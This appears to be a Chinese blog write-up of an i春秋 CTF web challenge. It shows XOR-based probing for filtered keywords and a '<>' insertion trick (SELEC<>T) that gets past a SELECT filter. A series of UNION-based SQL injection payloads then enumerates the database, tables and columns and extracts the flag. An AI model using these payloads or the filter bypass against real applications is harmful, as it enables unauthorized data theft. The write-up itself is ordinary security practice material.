乔悟空-CTF-i春秋-Web-SQL
2020.09.05
是不是有些题已经不能做了……费了半天,到最后发现做不出来,和网上大神的方法一样也不行,最搞笑的有个站好像是别人运营中的,bug好像被修复了……
做题
题目
做题
- 尝试简单注入,发现被发现了😕
paylod:1' UNION SELECT 1,2,3
- 尝试异或注入,查看被过滤掉字符
payload:0
payload:0 ^(1=1)#
经过以上测试,发现确实存在异或注入,我们可以用这个方法来测试被过滤掉的字符
不能正常显示,说明异或结果是0,0与0的异或结果才是零,说明length("UNION")=0的结果是false,说明UNION
字符没有被过滤
payload:0 ^(length("UNION")=0)#
测试SELECT
发现直接报inj code
,说明这个网页SELECT被过滤,并且检测到SELECT就没法继续运行,所以我们不能用SELECSELECTT
这种双写来绕过,那接下来就要尝试找到一个能用来双写绕过的字符。
经过一通已经知道(早就看过wp🤭)结果的测试,我们能发现<>
这个符号能被替换成空字符,所以我们可以通过它来双写绕过,接下来就是一通常规操作了
-
常规爆破🥶
-
测输出位置
payload:0 UNION SELEC<>T 1,2,3#
-
数据库名为
payload:0 UNION SELEC<>T 1,(database()),3#
结果:sqli
-
数据库中表名
payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli'),3#
结果:info,users
-
表info中列名
payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='info'),3#
结果:id,title,flAg_T5ZNdrm
-
列flAg_T5ZNdrm中内容
payload:0 UNION SELEC<>T 1,(SELEC<>T GROUP_CONCAT(flAg_T5ZNdrm) FROM sqli.info),3#
结果:flag{b664e9a5-5388-45f6-afd4-3b9a*********},test
-
总结
- 这个题目如果让我单独做,可能做不出来,因为找
<>
这个符号不太好找,不知道第一个做出来的人是怎么找到的…… - 一开始测试注入的时候要多试……
- 继续加油🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!